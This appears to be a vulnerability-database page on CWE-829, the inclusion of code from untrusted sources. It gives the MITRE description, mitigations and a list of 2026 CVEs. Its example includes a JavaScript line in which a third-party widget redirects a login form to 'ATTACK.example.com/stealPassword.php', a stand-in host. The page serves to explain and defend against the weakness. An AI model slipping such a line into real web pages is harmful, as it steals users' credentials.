Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CWE-829 (从非可信控制范围包含功能例程) — Vulnerability Class 194

194 vulnerabilities classified as CWE-829 (从非可信控制范围包含功能例程). AI Chinese analysis included.

CWE-829 represents a critical software weakness where applications import or execute functionality from sources outside their intended control sphere, such as unverified third-party libraries or external APIs. Attackers typically exploit this vulnerability by compromising the external source or manipulating the inclusion mechanism to inject malicious code, thereby gaining unauthorized execution privileges or causing system compromise. This often occurs when developers blindly trust dependencies without verifying their integrity or origin. To mitigate this risk, developers must implement strict dependency management practices, including rigorous code review processes and the use of cryptographic signatures to verify the authenticity of included components. Additionally, employing sandboxing techniques and maintaining a minimal attack surface by removing unnecessary external dependencies can significantly reduce the likelihood of successful exploitation, ensuring that only trusted, vetted functionality is integrated into the application’s core logic.

MITRE CWE Description
The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
Common Consequences (1)
Confidentiality, Integrity, Availability Execute Unauthorized Code or Commands
An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site. This could enable the injection of malware, information exposure by granting excessive privileges or…
Mitigations (5)
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, Operation Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
Examples (1)
This login webpage includes a weather widget from an external website:
<div class="header"> Welcome! <div id="loginBox">Please Login: <form id ="loginForm" name="loginForm" action="login.php" method="post"> Username: <input type="text" name="username" /> <br/> Password: <input type="password" name="password" /> <input type="submit" value="Login" /> </form> </div> <div id="WeatherWidget"> <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script> </div> </div>
Bad · HTML
...Weather widget code.... document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
Attack · JavaScript
CVE ID Title CVSS Severity Published
CVE-2026-57102 Visual Studio Code Security Feature Bypass Vulnerability — Visual Studio Code 8.8 High 2026-07-14
CVE-2026-15519 usestrix PyPI system_prompt.jinja inclusion of functionality from untrusted control sphere — strix 5.0 Medium 2026-07-13
CVE-2026-59831 GitHub CLI `gh codespace jupyter` could allow remote code execution when connecting to a malicious Codespace — cli 4.4 Medium 2026-07-09
CVE-2026-58116 LLaMA-Factory 0.9.5 Remote Code Execution via WebUI Model Path — LlamaFactory 9.8 Critical 2026-06-30
CVE-2026-54325 Pi loads project-local extensions without approval — pi 4.4 Medium 2026-06-23
CVE-2026-56447 MISP remote code execution via arbitrary rdkafka configuration path — misp - - 2026-06-22
CVE-2026-44691 Eclipse theia 软件供应链问题漏洞 — Eclipse Theia - - 2026-06-18
CVE-2026-46580 Eclipse theia 软件供应链问题漏洞 — Eclipse Theia - - 2026-06-18
CVE-2026-22283 Dell PowerFlex Manager 软件供应链问题漏洞 — PowerFlex 7.5 High 2026-06-17
CVE-2026-42089 yeoman-environment Vulnerable to Arbitrary Package Installation without User Confirmation — environment 8.6 High 2026-06-16
CVE-2026-48124 Cursor Desktop sandbox escape via Claude hook configuration — cursor - - 2026-06-15
CVE-2026-12057 DoS + Remote Code Execution via PDF JavaScript in Foxit AI — Foxit AI 8.6 High 2026-06-15
CVE-2026-53810 OpenClaw < 2026.5.18 - Arbitrary Code Execution via Unscanned Marketplace Runtime Extension Metadata — OpenClaw 8.8 High 2026-06-11
CVE-2026-47174 Duck Site: Untrusted pull request code can trigger privileged production deployment — duck-site - - 2026-06-11
CVE-2026-47172 Quest Bot: Untrusted pull request code can be built and deployed by privileged `workflow_run` deployment. — quest-bot - - 2026-06-11
CVE-2026-47292 Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability — Visual Studio Code - MSSQL Extension 7.8 High 2026-06-09
CVE-2022-49036 Synology Active Backup for Business Recovery Media Creator 安全漏洞 — Synology Active Backup for Business Recovery Media Creator 7.8 High 2026-06-03
CVE-2022-49042 Synology Hyper Backup Explorer 安全漏洞 — Synology Hyper Backup Explorer 7.8 High 2026-06-03
CVE-2026-5241 Policy Bypass in LightGlue Nested Config Resolution in huggingface/transformers — huggingface/transformers - - 2026-06-03
CVE-2026-5843 Docker Model Runner container-to-host code execution via MLX-LM model_file importlib loading — Docker Desktop 8.2 High 2026-05-22
CVE-2026-5817 Docker Model Runner container-to-host code execution via unsandboxed trust_remote_code in Python inference backends — Docker Desktop 8.2 High 2026-05-22
CVE-2026-7373 Metasploit Pro on Windows: Local Privilege Escalation via OpenSSL Configuration File Loading — Metasploit Pro - - 2026-05-15
CVE-2026-44312 css_parser allows to MITM included https css urls — css_parser 5.8 Medium 2026-05-14
CVE-2026-44995 OpenClaw < 2026.4.20 - Arbitrary Code Execution via MCP stdio Environment Variables — OpenClaw 7.3 High 2026-05-11
CVE-2026-45184 Kdenlive 安全漏洞 — Kdenlive 6.5 Medium 2026-05-09
CVE-2026-43571 OpenClaw < 2026.4.10 - Untrusted Workspace Plugin Shadow Resolution in Channel Setup — OpenClaw 8.8 High 2026-05-05
CVE-2026-43569 OpenClaw < 2026.4.9 - Untrusted Provider Plugin Auto-enablement via Workspace Provider Auth — OpenClaw 8.8 High 2026-05-05
CVE-2026-43003 OpenStack ironic-python-agent 安全漏洞 — ironic-python-agent 8.0 High 2026-05-01
CVE-2026-41396 OpenClaw < 2026.3.31 - Environment Variable Override of Plugin Trust Root — OpenClaw 7.8 High 2026-04-28
CVE-2026-42510 OpenStack Ironic 安全漏洞 — Ironic 6.6 Medium 2026-04-28

Vulnerabilities classified as CWE-829 (从非可信控制范围包含功能例程) represent 194 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.